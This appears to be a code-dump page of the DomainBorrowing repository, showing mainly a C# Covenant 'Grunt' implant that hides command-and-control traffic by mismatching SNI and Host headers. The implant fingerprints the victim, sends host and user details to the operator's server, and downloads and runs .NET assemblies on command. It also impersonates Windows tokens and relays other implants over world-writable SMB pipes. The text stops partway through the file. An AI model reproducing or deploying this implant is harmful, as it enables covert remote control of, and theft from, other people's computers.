Full Code of Dliv3/DomainBorrowing for AI

main 3751ed4500ce cached
6 files
88.2 KB
17.0k tokens
106 symbols
1 requests
Download .txt
Repository: Dliv3/DomainBorrowing
Branch: main
Commit: 3751ed4500ce
Files: 6
Total size: 88.2 KB

Directory structure:
gitextract_lljgq9ze/

├── .gitignore
├── Covenant/
│   ├── DomainBorrowingHttpsExecutor.cs
│   ├── DomainBorrowingHttpsStager.cs
│   └── README.md
├── LICENSE
└── README.md

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
.DS_Store
.vscode

================================================
FILE: Covenant/DomainBorrowingHttpsExecutor.cs
================================================
using System;
using System.Net;
using System.Linq;
using System.Text;
using System.IO;
using System.IO.Pipes;
using System.IO.Compression;
using System.Threading;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Principal;
using System.Security.AccessControl;
using System.Security.Cryptography;
using System.Text.RegularExpressions;
using System.Net.Sockets;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
using System.Security.Authentication;

namespace GruntExecutor
{
    public class HttpsClient
    {
        private string ip;
        private int port;
        private string sni;
        private Dictionary<string, string> defaultHeaders;
        private bool UseCertPinning;
        private bool ValidateCert;
        private string CovenantCertHash;

        public HttpsClient(string addr, int port, string sni, bool ValidateCert = false, bool UseCertPinning = false, string CovenantCertHash = "")
        {
            this.ip = doDNS(addr);
            this.port = port;
            this.sni = sni;
            this.defaultHeaders = new Dictionary<string, string>()
            {
                { "Host", sni },                // by default, Host == SNI
                { "Accept", "*/*" },
                { "Accept-Language", "en" },
                { "Connection", "close" },
            };
            this.UseCertPinning = UseCertPinning;
            this.ValidateCert = ValidateCert;
            this.CovenantCertHash = CovenantCertHash;
        }

        private string doDNS(string addr)
        {
            IPAddress ip;
            if (IPAddress.TryParse(addr, out ip))
            {
                return ip.ToString();
            }
            else
            {
                IPAddress[] ipAddrs = Dns.GetHostEntry(addr).AddressList;
                Random rand = new Random();
                return ipAddrs[rand.Next(ipAddrs.Length)].ToString();
            }
        }

        private SslStream initSsl()
        {
            X509Certificate2 ourCA = new X509Certificate2();
            RemoteCertificateValidationCallback callback = (sender, cert, chain, errors) =>
            {
                bool valid = true;
                if (UseCertPinning && CovenantCertHash != "")
                {
                    valid = cert.GetCertHashString() == CovenantCertHash;
                }
                if (valid && ValidateCert)
                {
                    valid = errors == SslPolicyErrors.None;
                }
                return valid;
            };
            try
            {
                TcpClient client = new TcpClient(ip, port);
                SslStream sslStream = new SslStream(client.GetStream(), false, callback, null);
                // ref: https://github.com/cobbr/Covenant/pull/238/files
                sslStream.AuthenticateAsClient(sni, null, SslProtocols.Ssl3 | SslProtocols.Tls | (SslProtocols)768 | (SslProtocols)3072 | (SslProtocols)12288, true);
                return sslStream;
            }
            catch (Exception e)
            {
                Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace);
                return null;
            }
        }

        private string readLine(SslStream sslStream)
        {
            using (var ms = new MemoryStream())
            {
                while (true)
                {
                    byte chr = (byte)sslStream.ReadByte();
                    if (chr == 13) // \r
                    {
                        sslStream.ReadByte(); // \n
                        break;
                    }
                    ms.WriteByte(chr);
                }
                return Encoding.UTF8.GetString(ms.ToArray());
            }
        }

        private byte[] readFull(SslStream sslStream, int length)
        {
            using (var ms = new MemoryStream())
            {
                while (length > 0)
                {
                    byte[] buffer = new byte[length];
                    int readLen = sslStream.Read(buffer, 0, buffer.Length);
                    ms.Write(buffer, 0, readLen);
                    length -= readLen;
                }
                return ms.ToArray();
            }
        }

        private string readResponse(SslStream sslStream)
        {
            Console.WriteLine("\n\n=============================== HTTP RSP ===============================");
            bool chunked = false;
            int contentLength = -1;

            using (var ms = new MemoryStream())
            {
                while (true)
                {
                    string line = readLine(sslStream);
                    Console.WriteLine(line);
                    if (line.ToLower().StartsWith("transfer-encoding") && line.ToLower().Contains("chunked"))
                    {
                        chunked = true;
                    }
                    if (line.ToLower().StartsWith("content-length"))
                    {
                        string val = line.Substring(line.IndexOf(":") + 1);
                        contentLength = int.Parse(val);
                    }
                    if (line.Equals("")) break;
                }

                if (chunked)
                {
                    while (true)
                    {
                        string chunkLenStr = readLine(sslStream);
                        Console.WriteLine(chunkLenStr);
                        int chunkLen = int.Parse(chunkLenStr, System.Globalization.NumberStyles.HexNumber);
                        if (chunkLen == 0) break;
                        byte[] buffer = readFull(sslStream, chunkLen);
                        Console.WriteLine(Encoding.UTF8.GetString(buffer).TrimEnd('\0'));
                        ms.Write(buffer, 0, buffer.Length);
                        readLine(sslStream);
                    }
                }
                else
                {
                    if (contentLength > 0)
                    {
                        byte[] buffer = readFull(sslStream, contentLength);
                        Console.WriteLine(Encoding.UTF8.GetString(buffer));
                        ms.Write(buffer, 0, buffer.Length);
                    }
                    else if (contentLength < 0)
                    {
                        byte[] buffer = new byte[10240];
                        while (true)
                        {
                            int len = sslStream.Read(buffer, 0, buffer.Length);
                            if (len > 0)
                            {
                                Console.WriteLine(Encoding.UTF8.GetString(buffer).TrimEnd('\0'));
                                ms.Write(buffer, 0, len);
                            }
                            else
                            {
                                break;
                            }
                        }
                    }
                }
                Console.WriteLine("\n\n");
                return Encoding.UTF8.GetString(ms.ToArray());
            }
        }

        private string buildHeaders(string method, Dictionary<string, string> headers, int dataLength = 0)
        {
            Dictionary<string, string> httpHeaders = new Dictionary<string, string>();
            if (headers != null)
            {
                foreach (string key in headers.Keys)
                {
                    httpHeaders[key] = headers[key];
                }
            }
            foreach (string key in defaultHeaders.Keys)
            {
                if (!httpHeaders.ContainsKey(key))
                {
                    httpHeaders[key] = defaultHeaders[key];
                }
            }
            if (method == "POST")
            {
                if (!httpHeaders.ContainsKey("Content-Type"))
                {
                    httpHeaders["Content-Type"] = "application/x-www-form-urlencoded";
                }
                httpHeaders["Content-Length"] = $@"{dataLength}";
            }
            string httpHeadersStr = "";
            foreach (string key in httpHeaders.Keys)
            {
                httpHeadersStr += $@"{key}: {httpHeaders[key]}" + "\r\n";
            }
            httpHeadersStr += "\r\n";
            return httpHeadersStr;
        }

        private string send(SslStream sslStream, string httpRequest)
        {
            Console.WriteLine("\n\n=============================== HTTP REQ ===============================");
            Console.WriteLine(httpRequest);
            Console.WriteLine("\n\n");
            sslStream.Write(Encoding.UTF8.GetBytes(httpRequest));
            sslStream.Flush();
            string rawResponse = readResponse(sslStream);
            sslStream.Close();
            return rawResponse;
        }

        public string Get(string path, Dictionary<string, string> headers = null)
        {
            var sslStream = initSsl();
            if (sslStream is null) return null;
            string method = "GET";
            string httpGetRequest = $@"{method} {path} HTTP/1.1" + "\r\n";
            httpGetRequest += buildHeaders(method, headers);
            return send(sslStream, httpGetRequest);
        }

        public string Post(string path, string data, Dictionary<string, string> headers = null)
        {
            var sslStream = initSsl();
            if (sslStream is null) return null;
            string method = "POST";
            string httpPostRequest = $@"{method} {path} HTTP/1.1" + "\r\n";
            httpPostRequest += buildHeaders(method, headers, data.Length);
            httpPostRequest += data;
            return send(sslStream, httpPostRequest);
        }
    }

    class Grunt
    {
        public static void Execute(string Addr, int Port, string SNI, string CovenantCertHash, string GUID, Aes SessionKey)
        {
            try
            {
                int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}");
                int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
                int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
                DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));
                List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n");
                string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool UseCertPinning = bool.Parse(@"false");

                string Hostname = Dns.GetHostName();
                string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
                foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
                {
                    if (a.AddressFamily == AddressFamily.InterNetwork)
                    {
                        IPAddress = a.ToString();
                        break;
                    }
                }
                string OperatingSystem = Environment.OSVersion.ToString();
                string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                int Integrity = 2;
                if (Environment.UserName.ToLower() == "system")
                {
                    Integrity = 4;
                }
                else
                {
                    var identity = WindowsIdentity.GetCurrent();
                    if (identity.Owner != identity.User)
                    {
                        Integrity = 3;
                    }
                }
                string UserDomainName = Environment.UserDomainName;
                string UserName = Environment.UserName;

                string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
                IMessenger baseMessenger = null;
                baseMessenger = new HttpMessenger(Addr, Port, SNI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls);
                baseMessenger.Read();
                baseMessenger.Identifier = GUID;
                TaskingMessenger messenger = new TaskingMessenger
                (
                    new MessageCrafter(GUID, SessionKey),
                    baseMessenger,
                    new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse)
                );
                messenger.QueueTaskingMessage(RegisterBody);
                messenger.WriteTaskingMessage();
                messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
                try
                {
                    // A blank upward write, this helps in some cases with an HTTP Proxy
                    messenger.QueueTaskingMessage("");
                    messenger.WriteTaskingMessage();
                }
                catch (Exception) { }

                List<KeyValuePair<string, Thread>> Tasks = new List<KeyValuePair<string, Thread>>();
                WindowsImpersonationContext impersonationContext = null;
                Random rnd = new Random();
                int ConnectAttemptCount = 0;
                bool alive = true;
                while (alive)
                {
                    int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
                    if (rnd.Next(2) == 0) { change = -change; }
                    Thread.Sleep((Delay + change) * 1000);
                    try
                    {
                        GruntTaskingMessage message = messenger.ReadTaskingMessage();
                        if (message != null)
                        {
                            ConnectAttemptCount = 0;
                            string output = "";
                            if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts)
                            {
                                if (int.TryParse(message.Message, out int val))
                                {
                                    if (message.Type == GruntTaskingType.SetDelay)
                                    {
                                        Delay = val;
                                        output += "Set Delay: " + Delay;
                                    }
                                    else if (message.Type == GruntTaskingType.SetJitter)
                                    {
                                        Jitter = val;
                                        output += "Set Jitter: " + Jitter;
                                    }
                                    else if (message.Type == GruntTaskingType.SetConnectAttempts)
                                    {
                                        ConnectAttempts = val;
                                        output += "Set ConnectAttempts: " + ConnectAttempts;
                                    }
                                }
                                else
                                {
                                    output += "Error parsing: " + message.Message;
                                }
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                            }
                            else if (message.Type == GruntTaskingType.SetKillDate)
                            {
                                if (DateTime.TryParse(message.Message, out DateTime date))
                                {
                                    KillDate = date;
                                    output += "Set KillDate: " + KillDate.ToString();
                                }
                                else
                                {
                                    output += "Error parsing: " + message.Message;
                                }
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                            }
                            else if (message.Type == GruntTaskingType.Exit)
                            {
                                output += "Exited";
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                                messenger.WriteTaskingMessage();
                                return;
                            }
                            else if (message.Type == GruntTaskingType.Tasks)
                            {
                                if (!Tasks.Where(T => T.Value.IsAlive).Any()) { output += "No active tasks!"; }
                                else
                                {
                                    output += "Task       Status" + Environment.NewLine;
                                    output += "----       ------" + Environment.NewLine;
                                    output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.IsAlive).Select(T => T.Key + " Active").ToArray());
                                }
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                            }
                            else if (message.Type == GruntTaskingType.TaskKill)
                            {
                                var matched = Tasks.Where(T => T.Value.IsAlive && T.Key.ToLower() == message.Message.ToLower());
                                if (!matched.Any())
                                {
                                    output += "No active task with name: " + message.Message;
                                }
                                else
                                {
                                    KeyValuePair<string, Thread> t = matched.First();
                                    t.Value.Abort();
                                    Thread.Sleep(3000);
                                    if (t.Value.IsAlive)
                                    {
                                        t.Value.Suspend();
                                    }
                                    output += "Task: " + t.Key + " killed!";
                                }
                                messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
                            }
                            else if (message.Token)
                            {
                                if (impersonationContext != null)
                                {
                                    impersonationContext.Undo();
                                }
                                IntPtr impersonatedToken = IntPtr.Zero;
                                Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message, Delay));
                                t.Start();
                                Tasks.Add(new KeyValuePair<string, Thread>(message.Name, t));
                                bool completed = t.Join(5000);
                                if (completed && impersonatedToken != IntPtr.Zero)
                                {
                                    try
                                    {
                                        WindowsIdentity identity = new WindowsIdentity(impersonatedToken);
                                        impersonationContext = identity.Impersonate();
                                    }
                                    catch (ArgumentException) { }
                                }
                                else
                                {
                                    impersonationContext = null;
                                }
                            }
                            else
                            {
                                Thread t = new Thread(() => TaskExecute(messenger, message, Delay));
                                t.Start();
                                Tasks.Add(new KeyValuePair<string, Thread>(message.Name, t));
                            }
                        }
                        messenger.WriteTaskingMessage();
                    }
                    catch (ObjectDisposedException e)
                    {
                        ConnectAttemptCount++;
                        messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "").ToJson());
                        messenger.WriteTaskingMessage();
                    }
                    catch (Exception e)
                    {
                        ConnectAttemptCount++;
                        Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
                    }
                    if (ConnectAttemptCount >= ConnectAttempts) { return; }
                    if (KillDate.CompareTo(DateTime.Now) < 0) { return; }
                }
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
            }
        }

        private static IntPtr TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message, int Delay)
        {
            const int MAX_MESSAGE_SIZE = 1048576;
            string output = "";
            try
            {
                if (message.Type == GruntTaskingType.Assembly)
                {
                    string[] pieces = message.Message.Split(',');
                    if (pieces.Length > 0)
                    {
                        object[] parameters = null;
                        if (pieces.Length > 1) { parameters = new object[pieces.Length - 1]; }
                        for (int i = 1; i < pieces.Length; i++) { parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i])); }
                        byte[] compressedBytes = Convert.FromBase64String(pieces[0]);
                        byte[] decompressedBytes = Utilities.Decompress(compressedBytes);
                        Assembly gruntTask = Assembly.Load(decompressedBytes);
                        PropertyInfo streamProp = gruntTask.GetType("Task").GetProperty("OutputStream");
                        string results = "";
                        if (streamProp == null)
                        {
                            results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters);
                        }
                        else
                        {
                            Thread invokeThread = new Thread(() => results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters));
                            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable))
                            {
                                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString()))
                                {
                                    streamProp.SetValue(null, pipeClient, null);
                                    DateTime lastTime = DateTime.Now;
                                    invokeThread.Start();
                                    using (StreamReader reader = new StreamReader(pipeServer))
                                    {
                                        object synclock = new object();
                                        string currentRead = "";
                                        Thread readThread = new Thread(() => {
                                            int count;
                                            char[] read = new char[MAX_MESSAGE_SIZE];
                                            while ((count = reader.Read(read, 0, read.Length)) > 0)
                                            {
                                                lock (synclock)
                                                {
                                                    currentRead += new string(read, 0, count);
                                                }
                                            }
                                        });
                                        readThread.Start();
                                        while (readThread.IsAlive)
                                        {
                                            Thread.Sleep(Delay * 1000);
                                            lock (synclock)
                                            {
                                                try
                                                {
                                                    if (currentRead.Length >= MAX_MESSAGE_SIZE)
                                                    {
                                                        for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE)
                                                        {
                                                            string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i));
                                                            try
                                                            {
                                                                GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, aRead);
                                                                messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                                                            }
                                                            catch (Exception) { }
                                                        }
                                                        currentRead = "";
                                                        lastTime = DateTime.Now;
                                                    }
                                                    else if (currentRead.Length > 0 && DateTime.Now > (lastTime.Add(TimeSpan.FromSeconds(Delay))))
                                                    {
                                                        GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, currentRead);
                                                        messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                                                        currentRead = "";
                                                        lastTime = DateTime.Now;
                                                    }
                                                }
                                                catch (ThreadAbortException) { break; }
                                                catch (Exception) { currentRead = ""; }
                                            }
                                        }
                                        output += currentRead;
                                    }
                                }
                            }
                            invokeThread.Join();
                        }
                        output += results;
                    }
                }
                else if (message.Type == GruntTaskingType.Connect)
                {
                    string[] split = message.Message.Split(',');
                    bool connected = messenger.Connect(split[0], split[1]);
                    output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" :
                                          "Connection to " + split[0] + ":" + split[1] + " failed.";
                }
                else if (message.Type == GruntTaskingType.Disconnect)
                {
                    bool disconnected = messenger.Disconnect(message.Message);
                    output += disconnected ? "Disconnect succeeded!" : "Disconnect failed.";
                }
            }
            catch (Exception e)
            {
                try
                {
                    GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace);
                    messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                }
                catch (Exception) { }
            }
            finally
            {
                for (int i = 0; i < output.Length; i += MAX_MESSAGE_SIZE)
                {
                    string aRead = output.Substring(i, Math.Min(MAX_MESSAGE_SIZE, output.Length - i));
                    try
                    {
                        GruntTaskingStatus status = i + MAX_MESSAGE_SIZE < output.Length ? GruntTaskingStatus.Progressed : GruntTaskingStatus.Completed;
                        GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(status, aRead);
                        messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                    }
                    catch (Exception) { }
                }
                if (string.IsNullOrEmpty(output))
                {
                    GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "");
                    messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                }
            }
            return WindowsIdentity.GetCurrent().Token;
        }
    }

    public enum MessageType
    {
        Read,
        Write
    }

    public class ProfileMessage
    {
        public MessageType Type { get; set; }
        public string Message { get; set; }
    }

    public class MessageEventArgs : EventArgs
    {
        public string Message { get; set; }
    }

    public interface IMessenger
    {
        string Hostname { get; }
        string Identifier { get; set; }
        string Authenticator { get; set; }
        EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; }
        ProfileMessage Read();
        void Write(string Message);
        void Close();
    }

    public class Profile
    {
        private string GetResponse { get; }
        private string PostRequest { get; }
        private string PostResponse { get; }

        public Profile(string GetResponse, string PostRequest, string PostResponse)
        {
            this.GetResponse = GetResponse;
            this.PostRequest = PostRequest;
            this.PostResponse = PostResponse;
        }

        public GruntEncryptedMessage ParseGetResponse(string Message) { return Parse(this.GetResponse, Message); }
        public GruntEncryptedMessage ParsePostRequest(string Message) { return Parse(this.PostRequest, Message); }
        public GruntEncryptedMessage ParsePostResponse(string Message) { return Parse(this.PostResponse, Message); }
        public string FormatGetResponse(GruntEncryptedMessage Message) { return Format(this.GetResponse, Message); }
        public string FormatPostRequest(GruntEncryptedMessage Message) { return Format(this.PostRequest, Message); }
        public string FormatPostResponse(GruntEncryptedMessage Message) { return Format(this.PostResponse, Message); }

        private static GruntEncryptedMessage Parse(string Format, string Message)
        {
            string json = Common.GruntEncoding.GetString(Utilities.MessageTransform.Invert(
                Utilities.Parse(Message, Format)[0]
            ));
            if (json == null || json.Length < 3)
            {
                return null;
            }
            return GruntEncryptedMessage.FromJson(json);
        }

        private static string Format(string Format, GruntEncryptedMessage Message)
        {
            return String.Format(Format,
                Utilities.MessageTransform.Transform(Common.GruntEncoding.GetBytes(GruntEncryptedMessage.ToJson(Message)))
            );
        }
    }

    public class TaskingMessenger
    {
        private object _UpstreamLock = new object();
        private IMessenger UpstreamMessenger { get; set; }
        private object _MessageQueueLock = new object();
        private Queue<string> MessageQueue { get; } = new Queue<string>();

        private MessageCrafter Crafter { get; }
        private Profile Profile { get; }

        protected List<IMessenger> DownstreamMessengers { get; } = new List<IMessenger>();

        public TaskingMessenger(MessageCrafter Crafter, IMessenger Messenger, Profile Profile)
        {
            this.Crafter = Crafter;
            this.UpstreamMessenger = Messenger;
            this.Profile = Profile;
            this.UpstreamMessenger.UpstreamEventHandler += (sender, e) => {
                this.QueueTaskingMessage(e.Message);
                this.WriteTaskingMessage();
            };
        }

        public GruntTaskingMessage ReadTaskingMessage()
        {
            ProfileMessage readMessage = null;
            lock (_UpstreamLock)
            {
                readMessage = this.UpstreamMessenger.Read();
            }
            if (readMessage == null)
            {
                return null;
            }
            GruntEncryptedMessage gruntMessage = null;
            if (readMessage.Type == MessageType.Read)
            {
                gruntMessage = this.Profile.ParseGetResponse(readMessage.Message);
            }
            else if (readMessage.Type == MessageType.Write)
            {
                gruntMessage = this.Profile.ParsePostResponse(readMessage.Message);
            }
            if (gruntMessage == null)
            {
                return null;
            }
            else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking)
            {
                string json = this.Crafter.Retrieve(gruntMessage);
                return (json == null || json == "") ? null : GruntTaskingMessage.FromJson(json);
            }
            else
            {
                string json = this.Crafter.Retrieve(gruntMessage);
                GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json);
                IMessenger relay = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID);
                if (relay != null)
                {
                    relay.Write(this.Profile.FormatGetResponse(wrappedMessage));
                }
                return null;
            }
        }

        public void QueueTaskingMessage(string Message, string Meta = "")
        {
            GruntEncryptedMessage gruntMessage = this.Crafter.Create(Message, Meta);
            string uploaded = this.Profile.FormatPostRequest(gruntMessage);
            lock (_MessageQueueLock)
            {
                this.MessageQueue.Enqueue(uploaded);
            }
        }

        public void WriteTaskingMessage()
        {
            try
            {
                lock (_UpstreamLock)
                {
                    lock (_MessageQueueLock)
                    {
                        this.UpstreamMessenger.Write(this.MessageQueue.Dequeue());
                    }
                }
            }
            catch (InvalidOperationException) { }
        }

        public void SetAuthenticator(string Authenticator)
        {
            lock (this._UpstreamLock)
            {
                this.UpstreamMessenger.Authenticator = Authenticator;
            }
        }

        public bool Connect(string Hostname, string PipeName)
        {
            IMessenger olddownstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Hostname.ToLower() == (Hostname + ":" + PipeName).ToLower());
            if (olddownstream != null)
            {
                olddownstream.Close();
                this.DownstreamMessengers.Remove(olddownstream);
            }

            SMBMessenger downstream = new SMBMessenger(Hostname, PipeName);
            Thread readThread = new Thread(() =>
            {
                while (downstream.IsConnected)
                {
                    try
                    {
                        ProfileMessage read = downstream.Read();
                        if (read != null && !string.IsNullOrEmpty(read.Message))
                        {
                            if (string.IsNullOrEmpty(downstream.Identifier))
                            {
                                GruntEncryptedMessage message = this.Profile.ParsePostRequest(read.Message);
                                if (message.GUID.Length == 20)
                                {
                                    downstream.Identifier = message.GUID.Substring(10);
                                }
                                else if (message.GUID.Length == 10)
                                {
                                    downstream.Identifier = message.GUID;
                                }
                            }
                            this.UpstreamMessenger.Write(read.Message);
                        }
                    }
                    catch (Exception e)
                    {
                        Console.Error.WriteLine("Thread Exception: " + e.Message + Environment.NewLine + e.StackTrace);
                    }
                }
                // Connection became disconnected and therefore we remove the downstream object
                this.DownstreamMessengers.Remove(downstream);
            });
            downstream.ReadThread = readThread;
            downstream.ReadThread.Start();
            this.DownstreamMessengers.Add(downstream);
            return true;
        }

        public bool Disconnect(string Identifier)
        {
            IMessenger downstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier.ToLower() == Identifier.ToLower());
            if (downstream != null)
            {
                downstream.Close();
                this.DownstreamMessengers.Remove(downstream);
                return true;
            }
            return false;
        }
    }

    public class SMBMessenger : IMessenger
    {
        public string Hostname { get; } = string.Empty;
        public string Identifier { get; set; } = string.Empty;
        public string Authenticator { get; set; } = string.Empty;
        public EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; }
        public Thread ReadThread { get; set; } = null;

        private string PipeName { get; } = null;
        // Thread that monitors the status of the named pipe and updates _IsConnected accordingly.
        private Thread MonitoringThread { get; set; } = null;
        // This flag syncs communication peers in case one of the them dies (see method Read and Write)
        private bool IsServer { get; set; }
        private int Timeout { get; set; } = 5000;

        private object _PipeLock = new object();
        private PipeStream _Pipe;
        private PipeStream Pipe
        {
            get { lock (this._PipeLock) { return this._Pipe; } }
            set { lock (this._PipeLock) { this._Pipe = value; } }
        }

        protected object _IsConnectedLock = new object();
        private bool _IsConnected;
        public bool IsConnected
        {
            get { lock (this._IsConnectedLock) { return this._IsConnected; } }
            set { lock (this._IsConnectedLock) { this._IsConnected = value; } }
        }

        public SMBMessenger(string Hostname, string Pipename)
        {
            this.Hostname = Hostname;
            this.PipeName = Pipename;
            this.IsServer = false;
            this.InitializePipe();
        }

        public SMBMessenger(PipeStream Pipe, string Pipename)
        {
            this.Pipe = Pipe;
            this.PipeName = Pipename;
            this.IsServer = true;
            if (Pipe != null && Pipe.IsConnected)
            {
                this.IsConnected = Pipe.IsConnected;
                this.MonitorPipeState();
            }
            this.InitializePipe();
        }

        public ProfileMessage Read()
        {
            ProfileMessage result = null;
            try
            {
                // If the Grunt acts as SMB server, then after an interruption it shall wait in the read method until the connection 
                // is re-established.
                // This ensures that after the interruption, both communication peers return to their pre-defined state. If this is not
                // implemented, then both communication peers might return to the same state (e.g., read), which leads to a deadlock.
                if (this.IsServer)
                {
                    this.InitializePipe();
                }
                if (this.IsConnected)
                {
                    result = new ProfileMessage { Type = MessageType.Read, Message = Common.GruntEncoding.GetString(this.ReadBytes()) };
                }
            }
            // These are exceptions that could be raised, if the named pipe became (unexpectedly) closed. It is important to catch these 
            // exceptions here so that the calling method can continue until it calls Read or Write the next time and then, the they'll 
            // try to restablish the named pipe
            catch (IOException) { }
            catch (NullReferenceException) { }
            catch (ObjectDisposedException) { }
            return result;
        }

        public void Write(string Message)
        {
            try
            {
                // If the Grunt acts as SMB client, then after an interruption it shall wait in the write method until the connection 
                // is re-established.
                // This ensures that after the interruption, both communication peers return to their pre-defined state. If this is not
                // implemented, then both communication peers might return to the same state (e.g., read), which leads to a deadlock.
                if (!this.IsServer)
                {
                    this.InitializePipe();
                }
                if (this.IsConnected)
                {
                    this.WriteBytes(Common.GruntEncoding.GetBytes(Message));
                }
            }
            // These are exceptions that could be raised, if the named pipe became (unexpectedly) closed. It is important to catch these 
            // exceptions here so that the calling method can continue until it calls Read or Write the next time and then, the they'll 
            // try to restablish the named pipe
            catch (IOException) { }
            catch (NullReferenceException) { }
            catch (ObjectDisposedException) { }
        }

        public void Close()
        {
            // Close named pipe and terminate MonitoringThread by setting IsConnected to false
            lock (this._PipeLock)
            {
                try
                {
                    if (this._Pipe != null)
                    {
                        this._Pipe.Close();
                    }
                }
                catch (Exception) { }
                this._Pipe = null;
                this.IsConnected = false;
            }
        }

        private void InitializePipe()
        {
            if (!this.IsConnected)
            {
                // If named pipe became disconnected (!this.IsConnected), then wait for a new incoming connection, else continue.
                if (this.IsServer)
                {
                    PipeSecurity ps = new PipeSecurity();
                    ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow));
                    NamedPipeServerStream newServerPipe = new NamedPipeServerStream(this.PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
                    newServerPipe.WaitForConnection();
                    this.Pipe = newServerPipe;
                    this.IsConnected = true;
                    this.MonitorPipeState();
                    // Tell the parent Grunt the GUID so that it knows to which child grunt which messages shall be forwarded. Without this message, any further communication breaks.
                    this.UpstreamEventHandler?.Invoke(this, new MessageEventArgs { Message = string.Empty });
                }
